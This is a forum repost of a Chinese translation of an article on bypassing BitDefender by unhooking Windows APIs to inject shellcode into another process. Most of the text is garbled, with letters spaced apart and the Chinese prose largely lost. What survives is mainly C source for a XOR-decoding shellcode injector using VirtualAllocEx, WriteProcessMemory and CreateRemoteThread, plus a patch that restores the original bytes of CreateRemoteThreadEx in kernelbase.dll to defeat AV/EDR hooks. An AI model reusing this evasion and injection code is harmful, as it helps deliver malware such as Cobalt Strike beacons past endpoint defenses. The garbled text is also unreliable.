[1129] 2020-10-05_[翻译]使用反APIhook技术执行进程注入绕过BitDefender

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-16
2020-10-05_[翻译]使用反APIhook技术执行进程注入绕过BitDefender [ ] 使 A P I   h o o k B i t D e f e n d e r a s k a r   C h a B u g   2 0 2 0 - 1 0 - 0 5 a s k a r h t t p s : / / s h e l l s . s y s t e m s / d e f e a t - b i t d e f e n d e r - t o t a l - s e c u r i t y - u s i n g - w i n d o w s - a p i - u n h o o k i n g - t o - p e r f o r m - p r o c e s s - i n j e c t i o n / Y 4 e r   A V / E D R 使 W i n d o w s   A P I   u n h o o k i n g     B i t D e f e n d e r   t o t a l   s e c u r i t y A P I   u n h o o k i n g   使 A V / E D R B i t D e f e n d e r c o b a l t s t r i k e b e a c o n W H A T   I S   A P I   H O O K I N G ? A P I   h o o k i n g   w i n 3 2   A P I A V / E D R 使 w i n 3 2   A P I J M P A P I A P I   h t t p s : / / w w w . i r e d . t e a m / o f f e n s i v e - s e c u r i t y / c o d e - i n j e c t i o n - p r o c e s s - i n j e c t i o n / h o w - t o - h o o k - w i n d o w s - a p i - u s i n g - c + +   S p o t l e s s A P I   h o o k i n g s h e l l c o d e B i t D e f e n d e r e n d p o i n t   p r o t e c t i o n s
s h e l l c o d e 使 # i n c l u d e   < w i n d o w s . h > / /   T h i s   c o d e   w a s   w r i t t e n   f o r   r e s e a r c h i n g   p u r p o s e ,   y o u   h a v e   t o   e d i t   i t   b e f o r e   u s i n g   i t   i n   r e a l - w o r l d / /   T h i s   c o d e   w i l l   d e o c d e   y o u r   s h e l l c o d e   a n d   w r i t e   i t   d i r e c t l y   t o   t h e   m e m o r y i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] )   {     / /   O u r   S h e l l c o d e     u n s i g n e d   c h a r   s h e l l c o d e [ ]   =   " M y E n c o d e d s h e l l c o d e " ;     / /   C h e c k   a r g u m e n t s   c o u n t e r     i f ( a r g c   ! =   2 ) {         p r i n t f ( " [ + ]   U s a g e   :   d e c o d e r . e x e   [ P I D ] n " ) ;         e x i t ( 0 ) ;     }     / /   T h e   p r o c e s s   i d   w e   w a n t   t o   i n j e c t   o u r   c o d e   t o   p a s s e d   t o   t h e   e x e c u t a b l e     / /   U s e   G e t C u r r e n t P r o c e s s I d ( )   t o   i n j e c t   t h e   s h e l l c o d e   i n t o   o r i g i n a l   p r o c e s s     i n t   p r o c e s s _ i d   =   a t o i ( a r g v [ 1 ] ) ;     / /   D e f i n e   t h e   b a s e _ a d d r e s s   v a r i a b l e   w h i c h   w i l l   s a v e   t h e   a l l o c a t e d   m e m o r y   a d d r e s s     L P V O I D   b a s e _ a d d r e s s ;     / /   R e t r i v e   t h e   p r o c e s s   h a n d l e   u s i n g   O p e n P r o c e s s     H A N D L E   p r o c e s s   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   0 ,   p r o c e s s _ i d ) ;     i f   ( p r o c e s s )   {         p r i n t f ( " [ + ]   H a n d l e   r e t r i e v e d   s u c c e s s f u l l y ! n " ) ;         p r i n t f ( " [ + ]   H a n d l e   v a l u e   i s   % p n " ,   p r o c e s s ) ;         b a s e _ a d d r e s s   =   V i r t u a l A l l o c E x ( p r o c e s s ,   N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         i f   ( b a s e _ a d d r e s s )   {             p r i n t f ( " [ + ]   A l l o c a t e d   b a s e d   a d d r e s s   i s   0 x % x n " ,   b a s e _ a d d r e s s ) ;             / /   D a t a   c h a r s   c o u n t e r             i n t   i ;             / /   B a s e   a d d r e s s   c o u n t e r             i n t   n   =   0 ;             f o r ( i   =   0 ;   i < = s i z e o f ( s h e l l c o d e ) ;   i + + ) {                 / /   D e c o d e   s h e l l c o d e   o p c o d e   ( y o u   c a n   e d i t   i t   b a s e d   o n   y o u r   e n c o d e r   s e t t i n g s )
                c h a r   D e c o d e d O p C o d e   =   s h e l l c o d e [ i ]   ^   0 x 0 1 ;                 / /   W r i t e   t h e   d e c o d e d   b y t e s   i n   m e m o r y   a d d r e s s                 i f ( W r i t e P r o c e s s M e m o r y ( p r o c e s s ,   b a s e _ a d d r e s s + n ,   & D e c o d e d O p C o d e ,   1 ,   N U L L ) ) {                     / /   W r i t e   t h e   m e m o r y   a d d r e s s   w h e r e   t h e   d a t a   w a s   w r i t t e n                     p r i n t f ( " [ + ]   B y t e   0 x % X   w r o t e   s u c e s s f u l l y !   a t   0 x % X n " ,   D e c o d e d O p C o d e ,   b a s e _ a d d r e s s   +   n ) ;                     / /   I n c r e a s e   m e m o r y   a d d r e s s   b y   1                     n + + ;                 }             }             / /   R u n   o u r   c o d e   a s   R e m o t e T h r e a d             C r e a t e R e m o t e T h r e a d ( p r o c e s s ,   N U L L ,   1 0 0 , ( L P T H R E A D _ S T A R T _ R O U T I N E ) b a s e _ a d d r e s s ,   N U L L ,   N U L L ,   0 x 5 0 0 0 2 ) ;         }         e l s e   {             p r i n t f ( " [ + ]   U n a b l e   t o   a l l o c a t e   m e m o r y   . . n " ) ;         }     }     e l s e   {         p r i n t f ( " [ - ]   E n a b l e   t o   r e t r i e v e   p r o c e s s   h a n d l e n " ) ;     } } s h e l l c o d e e x p l o r e r . e x e B i t D e f e n d e r   i n j e c t o r . e x e
H O O K I N G D L L B i t D e f e n d e r s h e l l c o d e w i n 3 2   A P I 使   a t c u f 6 4 . d l l C r e a t e R e m o t e T h r e a d
  A P I A P I J M P J M P J M P a c t u f 6 4 . d l l d l l h o o k B i t D e f e n d e r 西 B i t D e f e n d e r u n h o o k i n g C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d C r e a t e R e m o t e T h r e a d C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x
  A P I   A P I A P I A P I   U N H O O K I N G A P I   U n h o o k i n g A V / E D R 使 A P I A P I J M P h o o k 使 A P I 1 .   A V D L L 2 .     A P I   x 6 4 d b g   C r e a t e R e m o t e T h r e a d Z w C r e a t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x k e r n e l b a s e . d l l C r e a t e R e m o t e T h r e a d E x d i s a s m   C r e a t e R e m o t e T h r e a d E x
x 6 4 d b g C r e a t e R e m o t e T h r e a d E x A P I 5 J M P k e r n e l b a s e . d l l s y m b o l s 4 C   8 B   D C   5 3   5 6 k e r n e l b a s e . d l l
/ /   P a t c h   1   t o   u n h o o k   C r e a t e R e m o t e T h r e a d E x   ( k e r n e l b a s e . d l l ) H A N D L E   k e r n a l b a s e _ h a n d l e   =   G e t M o d u l e H a n d l e ( " k e r n e l b a s e " ) ; L P V O I D   C R T _ a d d r e s s   =   G e t P r o c A d d r e s s ( k e r n a l b a s e _ h a n d l e ,   " C r e a t e R e m o t e T h r e a d E x " ) ; p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   a d d r e s s   i s   :   % p n " ,   C R T _ a d d r e s s ) ; i f   ( W r i t e P r o c e s s M e m o r y ( G e t C u r r e n t P r o c e s s ( ) ,   C R T _ a d d r e s s ,   " x 4 C x 8 B x D C x 5 3 x 5 6 " ,   5   ,   N U L L ) ) {     p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   u n h o o k i n g   d o n e ! n " ) ; } 使 使 使 # i n c l u d e   < w i n d o w s . h > i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] )   { G e t M o d u l e H a n d l e k e r n e l b a s e . d l l G e t P r o c A d d r e s s C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x x 4 C x 8 B x D C x 5 3 x 5 6 W r i t e P r o c e s s M e m o r y C e t C u r r e n t P r o c e s s W r i t e P r o c e s s M e m o r y
    u n s i g n e d   c h a r   s h e l l c o d e [ ]   =   " " ;     i f ( a r g c   ! =   2 ) {         p r i n t f ( " [ + ]   U s a g e   :   i n j e c t o r . e x e   [ P I D ] n " ) ;         e x i t ( 0 ) ;     }     i n t   p r o c e s s _ i d   =   a t o i ( a r g v [ 1 ] ) ;     / /   P a t c h   1   t o   u n h o o k   C r e a t e R e m o t e T h r e a d E x   ( k e r n e l b a s e . d l l )     H A N D L E   k e r n a l b a s e _ h a n d l e   =   G e t M o d u l e H a n d l e ( " k e r n e l b a s e " ) ;     L P V O I D   C R T _ a d d r e s s   =   G e t P r o c A d d r e s s ( k e r n a l b a s e _ h a n d l e ,   " C r e a t e R e m o t e T h r e a d E x " ) ;     p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   a d d r e s s   i s   :   % p n " ,   C R T _ a d d r e s s ) ;     i f   ( W r i t e P r o c e s s M e m o r y ( G e t C u r r e n t P r o c e s s ( ) ,   C R T _ a d d r e s s ,   " x 4 C x 8 B x D C x 5 3 x 5 6 " ,   5   ,   N U L L ) ) {         p r i n t f ( " [ + ]   C r e a t e R e m o t e T h r e a d E x   u n h o o k i n g   d o n e ! n " ) ;     }     / /   D e f i n e   t h e   b a s e _ a d d r e s s   v a r i a b l e   w h i c h   w i l l   s a v e   t h e   a l l o c a t e d   m e m o r y   a d d r e s s     L P V O I D   b a s e _ a d d r e s s ;     / /   R e t r i v e   t h e   p r o c e s s   h a n d l e   u s i n g   O p e n P r o c e s s     H A N D L E   p r o c e s s   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   0 ,   p r o c e s s _ i d ) ;     i f   ( p r o c e s s )   {         p r i n t f ( " [ + ]   H a n d l e   r e t r i e v e d   s u c c e s s f u l l y ! n " ) ;         p r i n t f ( " [ + ]   H a n d l e   v a l u e   i s   % p n " ,   p r o c e s s ) ;         b a s e _ a d d r e s s   =   V i r t u a l A l l o c E x ( p r o c e s s ,   N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         i f   ( b a s e _ a d d r e s s )   {             p r i n t f ( " [ + ]   A l l o c a t e d   b a s e d   a d d r e s s   i s   0 x % x n " ,   b a s e _ a d d r e s s ) ;             i n t   i ;             i n t   n   =   0 ;             f o r ( i   =   0 ;   i < = s i z e o f ( s h e l l c o d e ) ;   i + + ) {                 c h a r   D e c o d e d O p C o d e   =   s h e l l c o d e [ i ]   ^   0 x 0 1 ;                 i f ( W r i t e P r o c e s s M e m o r y ( p r o c e s s ,   b a s e _ a d d r e s s + n ,   & D e c o d e d O p C o d e ,   1 ,   N U L L ) ) {                     p r i n t f ( " [ + ]   B y t e   0 x % X   w r o t e   s u c e s s f u l l y !   a t   0 x % X n " ,   D e c o d e d O p C o d e ,   b a s e _ a d d r e s s   +   n ) ;                     n + + ;                 }             }
            / /   R u n   o u r   c o d e   a s   R e m o t e T h r e a d             C r e a t e R e m o t e T h r e a d ( p r o c e s s ,   N U L L ,   1 0 0 , ( L P T H R E A D _ S T A R T _ R O U T I N E ) b a s e _ a d d r e s s ,   N U L L ,   0 ,   0 x 1 3 3 7 ) ;         }         e l s e   {             p r i n t f ( " [ + ]   U n a b l e   t o   a l l o c a t e   m e m o r y   . . n " ) ;         }     }     e l s e   {         p r i n t f ( " [ - ]   E n a b l e   t o   r e t r i e v e   p r o c e s s   h 2 a n d l e n " ) ;     } } O p e n P r c o e s s u n h o o k i n g   p a r t C r e a t e R e m o t e T h r e a d E x C r e a t e R e m o t e T h r e a d E x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则